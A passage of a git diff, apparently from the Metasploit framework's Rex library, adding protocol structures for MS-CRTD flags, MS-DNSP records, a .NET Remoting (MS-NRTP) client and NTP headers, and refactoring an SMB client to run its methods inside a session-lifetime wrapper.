--git a/lib/rex/proto/ms_crtd.rb b/lib/rex/proto/ms_crtd.rb index 101157ff6e90..8b7e4c69e981 100644 --- a/lib/rex/proto/ms_crtd.rb +++ b/lib/rex/proto/ms_crtd.rb @@ -5,13 +5,26 @@ module Rex::Proto module MsCrtd # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/4c6950e4-1dc2-4ae3-98c3-b8919bb73822 + # [2.4 flags Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0) + CT_FLAG_AUTO_ENROLLMENT = 0x00000020 + CT_FLAG_MACHINE_TYPE = 0x00000040 + CT_FLAG_IS_CA = 0x00000080 + CT_FLAG_ADD_TEMPLATE_NAME = 0x00000200 + CT_FLAG_IS_CROSS_CA = 0x00000800 + CT_FLAG_IS_DEFAULT = 0x00010000 + CT_FLAG_IS_MODIFIED = 0x00020000 + CT_FLAG_DONOTPERSISTINDB = 0x00001000 + CT_FLAG_ADD_EMAIL = 0x00000002 + CT_FLAG_PUBLISH_TO_DS = 0x00000008 + CT_FLAG_EXPORTABLE_KEY = 0x00000010 + # [2.26 msPKI-Enrollment-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1) CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001 CT_FLAG_PEND_ALL_REQUESTS = 0x00000002 CT_FLAG_PUBLISH_TO_KRA_CONTAINER = 0x00000004 - CT_FLAG_PUBLISH_TO_DS = 0x00000008 + #CT_FLAG_PUBLISH_TO_DS = 0x00000008 CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010 - CT_FLAG_AUTO_ENROLLMENT = 0x00000020 + #CT_FLAG_AUTO_ENROLLMENT = 0x00000020 CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040 CT_FLAG_USER_INTERACTION_REQUIRED = 0x00000100 CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400 @@ -26,7 +39,7 @@ module MsCrtd # [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667) CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 - CT_FLAG_EXPORTABLE_KEY = 0x00000010 + #CT_FLAG_EXPORTABLE_KEY = 0x00000010 CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED = 0x00000020 CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040 CT_FLAG_REQUIRE_SAME_KEY_RENEWAL = 0x00000080 diff --git a/lib/rex/proto/ms_dnsp.rb b/lib/rex/proto/ms_dnsp.rb new file mode 100644 index 000000000000..1b1445b92cd7 --- /dev/null +++ b/lib/rex/proto/ms_dnsp.rb @@ -0,0 +1,102 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +require 'bindata' + +module Rex::Proto + module MsDnsp + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/39b03b89-2264-4063-8198-d62f62a6441a + class DnsRecordType + DNS_TYPE_ZERO = 0x0000 + DNS_TYPE_A = 0x0001 + DNS_TYPE_NS = 0x0002 + DNS_TYPE_MD = 0x0003 + DNS_TYPE_MF = 0x0004 + DNS_TYPE_CNAME = 0x0005 + DNS_TYPE_SOA = 0x0006 + DNS_TYPE_MB = 0x0007 + DNS_TYPE_MG = 0x0008 + DNS_TYPE_MR = 0x0009 + DNS_TYPE_NULL = 0x000A + DNS_TYPE_WKS = 0x000B + DNS_TYPE_PTR = 0x000C + DNS_TYPE_HINFO = 0x000D + DNS_TYPE_MINFO = 0x000E + DNS_TYPE_MX = 0x000F + DNS_TYPE_TXT = 0x0010 + DNS_TYPE_RP = 0x0011 + DNS_TYPE_AFSDB = 0x0012 + DNS_TYPE_X25 = 0x0013 + DNS_TYPE_ISDN = 0x0014 + DNS_TYPE_RT = 0x0015 + DNS_TYPE_SIG = 0x0018 + DNS_TYPE_KEY = 0x0019 + DNS_TYPE_AAAA = 0x001C + DNS_TYPE_LOC = 0x001D + DNS_TYPE_NXT = 0x001E + DNS_TYPE_SRV = 0x0021 + DNS_TYPE_ATMA = 0x0022 + DNS_TYPE_NAPTR = 0x0023 + DNS_TYPE_DNAME = 0x0027 + DNS_TYPE_DS = 0x002B + DNS_TYPE_RRSIG = 0x002E + DNS_TYPE_NSEC = 0x002F + DNS_TYPE_DNSKEY = 0x0030 + DNS_TYPE_DHCID = 0x0031 + DNS_TYPE_NSEC3 = 0x0032 + DNS_TYPE_NSEC3PARAM = 0x0033 + DNS_TYPE_TLSA = 0x0034 + DNS_TYPE_ALL = 0x00FF + DNS_TYPE_WINS = 0xFF01 + DNS_TYPE_WINSR = 0xFF02 + end + + class MsDnspAddr4 < BinData::Primitive + string :data, length: 4 + + def get + Rex::Socket.addr_ntoa(self.data) + end + + def set(v) + raise TypeError, 'must be an IPv4 address' unless Rex::Socket.is_ipv4?(v) + + self.data = Rex::Socket.addr_aton(v) + end + end + + class MsDnspAddr6 < BinData::Primitive + string :data, length: 16 + + def get + Rex::Socket.addr_ntoa(self.data) + end + + def set(v) + raise TypeError, 'must be an IPv6 address' unless Rex::Socket.is_ipv6?(v) + + self.data = Rex::Socket.addr_aton(v) + end + end + + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/6912b338-5472-4f59-b912-0edb536b6ed8 + class MsDnspDnsRecord < BinData::Record + endian :little + + uint16 :data_length, initial_value: -> { data.length } + uint16 :record_type + uint8 :version + uint8 :rank + uint16 :flags + uint32 :serial + uint32be :ttl_seconds + uint32 :reserved + uint32 :timestamp + choice :data, selection: :record_type do + ms_dnsp_addr4 DnsRecordType::DNS_TYPE_A + ms_dnsp_addr6 DnsRecordType::DNS_TYPE_AAAA + string :default, read_length: :data_length + end + end + end +end diff --git a/lib/rex/proto/ms_nrtp/client.rb b/lib/rex/proto/ms_nrtp/client.rb new file mode 100644 index 000000000000..8013a4fc4ef0 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/client.rb @@ -0,0 +1,118 @@ +class Rex::Proto::MsNrtp::Client + + require 'rex/stopwatch' + require 'rex/proto/ms_nrtp/ms_nrtp_message' + + include Rex::Proto::MsNrtp + + # @return [String] The MS-NRTP server host. + attr_reader :host + + # @return [Integer] The S-NRTP server port. + attr_reader :port + + # @return [String] The server resource component of the URI string. + attr_reader :resource + + # @return [Boolean] Whether or not SSL is used for the connection. + attr_reader :ssl + + # @return [Rex::Socket::Comm] An optional, explicit object to use for creating the connection. + attr_reader :comm + + # @!attribute timeout + # @return [Integer] The communication timeout in seconds. + attr_accessor :timeout + + # @param [String] host The MS-NRTP server host. + # @param [Integer,NilClass] port The MS-NRTP server port or nil for automatic based on ssl. + # @param [Boolean] ssl Whether or not SSL is used for the connection. + # @param [String] ssl_version The SSL version to use. + # @param [Rex::Socket::Comm] comm An optional, explicit object to use for creating the connection. + # @param [Integer] timeout The communication timeout in seconds. + def initialize(host, port, resource, context: {}, ssl: false, ssl_version: nil, comm: nil, timeout: 10) + @host = host + @port = port + @resource = resource + @context = context + @ssl = ssl + @ssl_version = ssl_version + @comm = comm + @timeout = timeout + end + + # Establish the connection to the remote server. + # + # @param [Integer] t An explicit timeout to use for the connection otherwise the default will be used. + # @return [NilClass] + def connect(t = -1) + timeout = (t.nil? or t == -1) ? @timeout : t + + @conn = Rex::Socket::Tcp.create( + 'PeerHost' => @host, + 'PeerPort' => @port.to_i, + 'Context' => @context, + 'SSL' => @ssl, + 'SSLVersion' => @ssl_version, + 'Timeout' => timeout, + 'Comm' => @comm + ) + + nil + end + + # Close the connection to the remote server. + # + # @return [NilClass] + def close + if @conn && !@conn.closed? + @conn.shutdown + @conn.close + end + + @conn = nil + end + + def recv + remaining = @timeout + message, elapsed_time = Rex::Stopwatch.elapsed_time do + ::Timeout.timeout(remaining) do + MsNrtpMessage.read(@conn) + end + end + return nil unless message.operation_type == Enums::OperationTypeEnum[:Reply] && message.content_length? + + remaining -= elapsed_time + body = '' + while body.length < message.content_length + chunk, elapsed_time = Rex::Stopwatch.elapsed_time do + @conn.read(message.content_length - body.length, remaining) + end + remaining -= elapsed_time + body << chunk + end + + body + end + + def send(data, content_type) + message = MsNrtpMessage.new( + content_length: data.length, + headers: [ + { token: MsNrtpHeader::MsNrtpHeaderUri::TOKEN, header: { uri_value: "tcp://#{Rex::Socket.to_authority(@host, @port)}/#{@resource}" } }, + { token: MsNrtpHeader::MsNrtpHeaderContentType::TOKEN, header: { content_type_value: content_type } }, + { token: MsNrtpHeader::MsNrtpHeaderEnd::TOKEN } + ] + ) + @conn.put(message.to_binary_s + data) + end + + def send_recv(data, content_type) + send(data, content_type) + recv + end + + def send_binary(serialized_stream) + send(serialized_stream.to_binary_s, 'application/octet-stream'.encode('UTF-8')) + end +end diff --git a/lib/rex/proto/ms_nrtp/enums.rb b/lib/rex/proto/ms_nrtp/enums.rb new file mode 100644 index 000000000000..4fdb1373a133 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/enums.rb @@ -0,0 +1,10 @@ +module Rex::Proto::MsNrtp + module Enums + OperationTypeEnum = { + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/e64b2561-defe-4fb5-865e-ea6706c1253d + Request: 0, + OneWayRequest: 1, + Reply: 2 + } + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb new file mode 100644 index 000000000000..07f9129313e6 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb @@ -0,0 +1,25 @@ +module Rex::Proto::MsNrtp + class MsNrtpCountedString < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/fea06769-1899-422e-9230-ce3a58710c20 + endian :little + + uint8 :string_encoding + uint32 :string_length, initial_value: -> { string_data.length } + uint8_array :string_data, initial_length: :string_length + + def get + self.string_data.to_binary_s.force_encoding(self.string_encoding == 0 ? Encoding::UTF_16LE : Encoding::UTF_8) + end + + def set(v) + self.string_data = v.bytes + if v.encoding == Encoding::UTF_16LE + self.string_encoding = 0 + elsif v.encoding == Encoding::UTF_8 + self.string_encoding = 1 + else + raise ::EncodingError, 'strings must be UTF-8 or UTF-16' + end + end + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb new file mode 100644 index 000000000000..eb9c7c43e798 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb @@ -0,0 +1,92 @@ +require 'rex/proto/ms_nrtp/ms_nrtp_counted_string' + +module Rex::Proto::MsNrtp::MsNrtpHeader + class MsNrtpHeaderEnd < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/32803cc9-e5d2-4d76-8852-b2eba3af25ca + TOKEN = 0 + endian :little + end + + class MsNrtpHeaderCustom < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/709beed5-da49-45b0-bf1b-836da17352c3 + TOKEN = 1 + endian :little + + ms_nrtp_counted_string :header_name + ms_nrtp_counted_string :header_value + end + + class MsNrtpHeaderStatusCode < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/70cdb0d8-6a58-46ae-8cb0-6976a9c3720e + TOKEN = 2 + endian :little + + uint8 :data_type, value: 2 + uint16 :status_code_value + end + + class MsNrtpHeaderStatusPhrase < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/a9a0e845-56ba-4b4a-9561-93940f039150 + TOKEN = 3 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :status_phrase_value + end + + class MsNrtpHeaderUri < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/2b1b47f7-4fed-4515-a0f9-e0688664c728 + TOKEN = 4 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :uri_value + end + + class MsNrtpHeaderCloseConnection < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/f94572e8-c821-42a2-8b0f-dabe1cbc7e02 + TOKEN = 5 + endian :little + + uint8 :data_type, value: 0 + end + + class MsNrtpHeaderContentType < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/d128389c-7cf6-4f09-9928-287324836344 + TOKEN = 6 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :content_type_value + end + + class MsNrtpHeaderUnknown < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/1cb3cf86-2a42-4f38-bfda-f4f546c629f5 + endian :little + + uint8 :data_type + choice :data_value, selection: :data_type, onlyif: -> { data_type != 0 } do + ms_nrtp_counted_string 1 + uint8 2 + uint16 3 + int32 4 + end + end + + class MsNrtpHeader < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/c9a3ae3b-f50f-4b02-8540-964b59918291 + endian :little + + uint16 :token + choice :header, selection: :token do + ms_nrtp_header_end MsNrtpHeaderEnd::TOKEN + ms_nrtp_header_custom MsNrtpHeaderCustom::TOKEN + ms_nrtp_header_status_code MsNrtpHeaderStatusCode::TOKEN + ms_nrtp_header_status_phrase MsNrtpHeaderStatusPhrase::TOKEN + ms_nrtp_header_uri MsNrtpHeaderUri::TOKEN + ms_nrtp_header_close_connection MsNrtpHeaderCloseConnection::TOKEN + ms_nrtp_header_content_type MsNrtpHeaderContentType::TOKEN + ms_nrtp_header_unknown :default + end + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb new file mode 100644 index 000000000000..9655537d6769 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb @@ -0,0 +1,17 @@ +require 'rex/proto/ms_nrtp/ms_nrtp_header' + +module Rex::Proto::MsNrtp + + class MsNrtpMessage < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/750a0ae4-b3e7-4c0e-97b1-8b95cffd04c5 + endian :little + + uint32 :protocol_id, value: 0x54454E2E + uint8 :major_version, initial_value: 1 + uint8 :minor_version, initial_value: 0 + uint16 :operation_type + uint16 :content_distribution + uint32 :content_length, onlyif: -> { content_distribution == 0 } + array :headers, type: :ms_nrtp_header, read_until: -> { element.token == MsNrtpHeader::MsNrtpHeaderEnd::TOKEN } + end +end diff --git a/lib/rex/proto/ntp/constants.rb b/lib/rex/proto/ntp/constants.rb index 49762a34c70d..eb67b632d1f1 100644 --- a/lib/rex/proto/ntp/constants.rb +++ b/lib/rex/proto/ntp/constants.rb @@ -2,11 +2,25 @@ module Rex module Proto module NTP::Constants -VERSIONS = (0..7).to_a -MODES = (0..7).to_a -MODE_6_OPERATIONS = (0..31).to_a -MODE_7_IMPLEMENTATIONS = (0..255).to_a -MODE_7_REQUEST_CODES = (0..255).to_a + VERSIONS = (0..7).to_a + MODES = (0..7).to_a + MODE_6_OPERATIONS = (0..31).to_a + MODE_7_IMPLEMENTATIONS = (0..255).to_a + MODE_7_REQUEST_CODES = (0..255).to_a + + module Mode + # see: https://datatracker.ietf.org/doc/html/rfc5905#section-3 + SYMMETRIC_ACTIVE = 1 + SYMMETRIC_PASSIVE = 2 + CLIENT = 3 + SERVER = 4 + BROADCAST_SERVER = 5 + BROADCAST_CLIENT = 6 + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + end end end end diff --git a/lib/rex/proto/ntp/header.rb b/lib/rex/proto/ntp/header.rb new file mode 100644 index 000000000000..7c20be9c44d2 --- /dev/null +++ b/lib/rex/proto/ntp/header.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +require 'bindata' +require 'bigdecimal' +require 'bigdecimal/util' + +module Rex +module Proto +module NTP::Header + + class NTPShort < BinData::Primitive + # see: https://datatracker.ietf.org/doc/html/rfc5905#section-6 + endian :big + + uint16 :seconds + uint16 :fraction + + def set(value) + value = value.to_d + seconds = value.floor + self.seconds = seconds + self.fraction = ((value - seconds) * BigDecimal(2**16)).round + end + + def get + BigDecimal(seconds.value) + (BigDecimal(fraction.value) / BigDecimal(2**16)) + end + end + + class NTPTimestamp < BinData::Primitive + UNIX_EPOCH = Time.utc(1900, 1, 1) + # see: https://datatracker.ietf.org/doc/html/rfc5905#section-6 + endian :big + + uint32 :seconds + uint32 :fraction + + def get + return nil if seconds == 0 && fraction == 0 + + time_in_seconds = seconds + BigDecimal(fraction.to_s) / BigDecimal((2**32).to_s) + (UNIX_EPOCH + time_in_seconds).utc + end + + def set(time) + if time.nil? + seconds = fraction = 0 + else + seconds_since_epoch = time.to_r - UNIX_EPOCH.to_r + seconds = seconds_since_epoch.to_i + fraction = ((seconds_since_epoch - seconds) * (2**32)).to_i + end + + self.seconds = seconds + self.fraction = fraction + end + end + + class NTPExtension < BinData::Record + endian :big + + uint16 :ext_type + uint16 :ext_length + uint8_array :ext_value, initial_length: :ext_length + end + + # A unified structure capable of representing NTP versions 1-4 + class NTPHeader < BinData::Record + # see: https://datatracker.ietf.org/doc/html/rfc958 (NTP v0 - unsupported) + # see: https://datatracker.ietf.org/doc/html/rfc1059 (NTP v1) + # see: https://datatracker.ietf.org/doc/html/rfc1119 (NTP v2) + # see: https://datatracker.ietf.org/doc/html/rfc1305 (NTP v3) + # see: https://datatracker.ietf.org/doc/html/rfc5905 (NTP v4) + endian :big + hide :bytes_remaining_0, :bytes_remaining_1 + + bit2 :leap_indicator + bit3 :version_number, initial_value: 4, assert: -> { version_number.between?(1, 4) } + bit3 :mode, onlyif: -> { version_number > 1 } + resume_byte_alignment + uint8 :stratum + int8 :poll + int8 :precision + ntp_short :root_delay + ntp_short :root_dispersion + string :reference_id, length: 4, trim_padding: true + ntp_timestamp :reference_timestamp + ntp_timestamp :origin_timestamp + ntp_timestamp :receive_timestamp + ntp_timestamp :transmit_timestamp + count_bytes_remaining :bytes_remaining_0 + buffer :extensions, length: -> { bytes_remaining_0 - 20 }, onlyif: :has_extensions? do + array :extensions, type: :ntp_extension, read_until: :eof + end + count_bytes_remaining :bytes_remaining_1 + uint32 :key_identifier, onlyif: :has_key_identifier? + uint8_array :message_digest, initial_length: OpenSSL::Digest::MD5.new.digest_length, onlyif: :has_message_digest? + + private + + def has_extensions? + # -20 for the length of the key identifier and message digest which are required when extensions are present + bytes_remaining_0 - 20 > 0 && version_number > 3 + end + + def has_key_identifier? + bytes_remaining_1 > 0 || !key_identifier.clear? + end + + def has_message_digest? + bytes_remaining_1 > 4 || !message_digest.clear? + end + end + +end +end +end diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb index 8ca93cb3f882..12a8812c9a46 100644 --- a/lib/rex/proto/ntp/modes.rb +++ b/lib/rex/proto/ntp/modes.rb @@ -98,25 +98,6 @@ def records end end - class NTPSymmetric < BinData::Record - alias size num_bytes - endian :big - bit2 :li - bit3 :version, initial_value: 3 - bit3 :mode - uint8 :stratum - uint8 :poll - uint8 :precision - uint32 :root_delay - uint32 :root_dispersion - uint32 :reference_id - uint64 :reference_timestamp - uint64 :origin_timestamp - uint64 :receive_timestamp - uint64 :transmit_timestamp - rest :payload - end - def ntp_control(version, operation, payload = nil) n = NTPControl.new n.version = version diff --git a/lib/rex/proto/smb/simple_client.rb b/lib/rex/proto/smb/simple_client.rb index 0347fec4fa52..fe4a8302de53 100644 --- a/lib/rex/proto/smb/simple_client.rb +++ b/lib/rex/proto/smb/simple_client.rb @@ -22,42 +22,45 @@ class SimpleClient attr_accessor :last_error, :server_max_buffer_size # Private accessors - attr_accessor :socket, :client, :direct, :shares, :last_share, :versions + attr_accessor :socket, :client, :direct, :shares, :last_share, :versions, :msf_session attr_reader :address, :port # Pass the socket object and a boolean indicating whether the socket is netbios or cifs - def initialize(socket, direct = false, versions = DEFAULT_VERSIONS, always_encrypt: true, backend: nil, client: nil) - self.socket = socket - self.direct = direct - self.versions = versions - self.shares = {} - self.server_max_buffer_size = 1024 # 4356 (workstation) or 16644 (server) expected - - if !client.nil? - self.client = client - elsif (self.versions == [1] && backend.nil?) || backend == :rex - self.client = Rex::Proto::SMB::Client.new(socket) - elsif (backend.nil? || backend == :ruby_smb) - self.client = RubySMB::Client.new(RubySMB::Dispatcher::Socket.new(self.socket, read_timeout: 60), - username: '', - password: '', - smb1: self.versions.include?(1), - smb2: self.versions.include?(2), - smb3: self.versions.include?(3), - always_encrypt: always_encrypt - ) - - self.client.evasion_opts = { - # Padding is performed between packet headers and data - 'pad_data' => EVADE::EVASION_NONE, - # File path padding is performed on all open/create calls - 'pad_file' => EVADE::EVASION_NONE, - # Modify the \PIPE\ string in trans_named_pipe calls - 'obscure_trans_pipe' => EVADE::EVASION_NONE, - } + def initialize(socket, direct = false, versions = DEFAULT_VERSIONS, always_encrypt: true, backend: nil, client: nil, msf_session: nil) + self.msf_session = msf_session + session_lifetime do + self.socket = socket + self.direct = direct + self.versions = versions + self.shares = {} + self.server_max_buffer_size = 1024 # 4356 (workstation) or 16644 (server) expected + + if !client.nil? + self.client = client + elsif (self.versions == [1] && backend.nil?) || backend == :rex + self.client = Rex::Proto::SMB::Client.new(socket) + elsif (backend.nil? || backend == :ruby_smb) + self.client = RubySMB::Client.new(RubySMB::Dispatcher::Socket.new(self.socket, read_timeout: 60), + username: '', + password: '', + smb1: self.versions.include?(1), + smb2: self.versions.include?(2), + smb3: self.versions.include?(3), + always_encrypt: always_encrypt + ) + + self.client.evasion_opts = { + # Padding is performed between packet headers and data + 'pad_data' => EVADE::EVASION_NONE, + # File path padding is performed on all open/create calls + 'pad_file' => EVADE::EVASION_NONE, + # Modify the \PIPE\ string in trans_named_pipe calls + 'obscure_trans_pipe' => EVADE::EVASION_NONE, + } + end + @address, @port = self.socket.peerinfo.split(':') end - @address, @port = self.socket.peerinfo.split(':') end def login(name = '', user = '', pass = '', domain = '', @@ -65,194 +68,212 @@ def login(name = '', user = '', pass = '', domain = '', send_lm = true, use_lanman_key = false, send_ntlm = true, native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0', spnopt = {}) - begin - - if (self.direct != true) - self.client.session_request(name) - end - self.client.native_os = native_os - self.client.native_lm = native_lm - self.client.verify_signature = verify_signature - self.client.use_ntlmv2 = usentlmv2 - self.client.usentlm2_session = usentlm2_session - self.client.send_lm = send_lm - self.client.use_lanman_key = use_lanman_key - self.client.send_ntlm = send_ntlm - - dlog("SMB version(s) to negotiate: #{self.versions}") - ok = self.client.negotiate - dlog("Negotiated SMB version: SMB#{negotiated_smb_version}") - - if self.client.is_a?(RubySMB::Client) - self.server_max_buffer_size = self.client.server_max_buffer_size - else - self.server_max_buffer_size = ok['Payload'].v['MaxBuff'] - end - - # Disable NTLMv2 Session for Windows 2000 (breaks authentication on some systems) - # XXX: This in turn breaks SMB auth for Windows 2000 configured to enforce NTLMv2 - # XXX: Tracked by ticket #4785#4785 - if self.client.native_lm =~ /Windows 2000 5\.0/ and usentlm2_session - # self.client.usentlm2_session = false + session_lifetime do + begin + + if (self.direct != true) + self.client.session_request(name) + end + self.client.native_os = native_os + self.client.native_lm = native_lm + self.client.verify_signature = verify_signature + self.client.use_ntlmv2 = usentlmv2 + self.client.usentlm2_session = usentlm2_session + self.client.send_lm = send_lm + self.client.use_lanman_key = use_lanman_key + self.client.send_ntlm = send_ntlm + + dlog("SMB version(s) to negotiate: #{self.versions}") + ok = self.client.negotiate + dlog("Negotiated SMB version: SMB#{negotiated_smb_version}") + + if self.client.is_a?(RubySMB::Client) + self.server_max_buffer_size = self.client.server_max_buffer_size + else + self.server_max_buffer_size = ok['Payload'].v['MaxBuff'] + end + + # Disable NTLMv2 Session for Windows 2000 (breaks authentication on some systems) + # XXX: This in turn breaks SMB auth for Windows 2000 configured to enforce NTLMv2 + # XXX: Tracked by ticket #4785#4785 + if self.client.native_lm =~ /Windows 2000 5\.0/ and usentlm2_session + # self.client.usentlm2_session = false + end + + self.client.spnopt = spnopt + + # In case the user unsets the username or password option, we make sure this is + # always a string + user ||= '' + pass ||= '' + + res = self.client.session_setup(user, pass, domain) + rescue ::Interrupt + raise $! + rescue ::Exception => e + elog(e) + n = XCEPT::LoginError.new + n.source = e + if e.respond_to?('error_code') && e.respond_to?('get_error') + n.error_code = e.error_code + n.error_reason = e.get_error(e.error_code) + end + raise n end - - self.client.spnopt = spnopt - - # In case the user unsets the username or password option, we make sure this is - # always a string - user ||= '' - pass ||= '' - - res = self.client.session_setup(user, pass, domain) - rescue ::Interrupt - raise $! - rescue ::Exception => e - elog(e) - n = XCEPT::LoginError.new - n.source = e - if e.respond_to?('error_code') && e.respond_to?('get_error') - n.error_code = e.error_code - n.error_reason = e.get_error(e.error_code) + + # RubySMB does not raise any exception if the Session Setup fails + if self.client.is_a?(RubySMB::Client) && res != WindowsError::NTStatus::STATUS_SUCCESS + n = XCEPT::LoginError.new + n.source = res + n.error_code = res.value + n.error_reason = res.name + raise n end - raise n - end - - # RubySMB does not raise any exception if the Session Setup fails - if self.client.is_a?(RubySMB::Client) && res != WindowsError::NTStatus::STATUS_SUCCESS - n = XCEPT::LoginError.new - n.source = res - n.error_code = res.value - n.error_reason = res.name - raise n + + return true end - - return true end def login_split_start_ntlm1(name = '') - begin + session_lifetime do + begin - if (self.direct != true) - self.client.session_request(name) - end + if (self.direct != true) + self.client.session_request(name) + end - # Disable extended security - self.client.negotiate(false) - rescue ::Interrupt - raise $! - rescue ::Exception => e - n = XCEPT::LoginError.new - n.source = e - if(e.respond_to?('error_code')) - n.error_code = e.error_code - n.error_reason = e.get_error(e.error_code) + # Disable extended security + self.client.negotiate(false) + rescue ::Interrupt + raise $! + rescue ::Exception => e + n = XCEPT::LoginError.new + n.source = e + if(e.respond_to?('error_code')) + n.error_code = e.error_code + n.error_reason = e.get_error(e.error_code) + end + raise n end - raise n - end - return true + return true + end end def login_split_next_ntlm1(user, domain, hash_lm, hash_nt) - begin - ok = self.client.session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt) - rescue ::Interrupt - raise $! - rescue ::Exception => e - n = XCEPT::LoginError.new - n.source = e - if(e.respond_to?('error_code')) - n.error_code = e.error_code - n.error_reason = e.get_error(e.error_code) + session_lifetime do + begin + ok = self.client.session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt) + rescue ::Interrupt + raise $! + rescue ::Exception => e + n = XCEPT::LoginError.new + n.source = e + if(e.respond_to?('error_code')) + n.error_code = e.error_code + n.error_reason = e.get_error(e.error_code) + end + raise n end - raise n - end - return true + return true + end end def connect(share) - ok = self.client.tree_connect(share) + session_lifetime do + ok = self.client.tree_connect(share) - if self.client.is_a?(RubySMB::Client) - tree_id = ok.id - else - tree_id = ok['Payload']['SMB'].v['TreeID'] - end + if self.client.is_a?(RubySMB::Client) + tree_id = ok.id + else + tree_id = ok['Payload']['SMB'].v['TreeID'] + end - self.shares[share] = tree_id - self.last_share = share + self.shares[share] = tree_id + self.last_share = share + end end def disconnect(share) - if self.shares[share] - ok = self.client.tree_disconnect(self.shares[share]) - self.shares.delete(share) - return ok + session_lifetime do + if self.shares[share] + ok = self.client.tree_disconnect(self.shares[share]) + self.shares.delete(share) + return ok + end + false end - false end def open(path, perm, chunk_size = 48000, read: true, write: false) - if self.client.is_a?(RubySMB::Client) - mode = 0 - if perm.include?('c') - if perm.include?('o') - mode = RubySMB::Dispositions::FILE_OPEN_IF - elsif perm.include?('t') - mode = RubySMB::Dispositions::FILE_OVERWRITE_IF + session_lifetime do + if self.client.is_a?(RubySMB::Client) + mode = 0 + if perm.include?('c') + if perm.include?('o') + mode = RubySMB::Dispositions::FILE_OPEN_IF + elsif perm.include?('t') + mode = RubySMB::Dispositions::FILE_OVERWRITE_IF + else + mode = RubySMB::Dispositions::FILE_CREATE + end else - mode = RubySMB::Dispositions::FILE_CREATE + if perm.include?('o') + mode = RubySMB::Dispositions::FILE_OPEN + elsif perm.include?('t') + mode = RubySMB::Dispositions::FILE_OVERWRITE + end end - else - if perm.include?('o') - mode = RubySMB::Dispositions::FILE_OPEN - elsif perm.include?('t') - mode = RubySMB::Dispositions::FILE_OVERWRITE - end - end - file_id = self.client.open(path, mode, read: true, write: write || perm.include?('w')) + file_id = self.client.open(path, mode, read: true, write: write || perm.include?('w')) + + else + mode = UTILS.open_mode_to_mode(perm) + access = UTILS.open_mode_to_access(perm) - else - mode = UTILS.open_mode_to_mode(perm) - access = UTILS.open_mode_to_access(perm) + ok = self.client.open(path, mode, access) + file_id = ok['Payload'].v['FileID'] + end - ok = self.client.open(path, mode, access) - file_id = ok['Payload'].v['FileID'] + fh = OpenFile.new(self.client, path, self.client.last_tree_id, file_id, self.versions) + fh.chunk_size = chunk_size + fh end - - fh = OpenFile.new(self.client, path, self.client.last_tree_id, file_id, self.versions) - fh.chunk_size = chunk_size - fh end def delete(*args) - if self.client.is_a?(RubySMB::Client) - self.client.delete(args[0]) - else - self.client.delete(*args) + session_lifetime do + if self.client.is_a?(RubySMB::Client) + self.client.delete(args[0]) + else + self.client.delete(*args) + end end end def create_pipe(path, perm = 'o') - disposition = UTILS.create_mode_to_disposition(perm) - ok = self.client.create_pipe(path, disposition) + session_lifetime do + disposition = UTILS.create_mode_to_disposition(perm) + ok = self.client.create_pipe(path, disposition) - if self.client.is_a?(RubySMB::Client) - file_id = 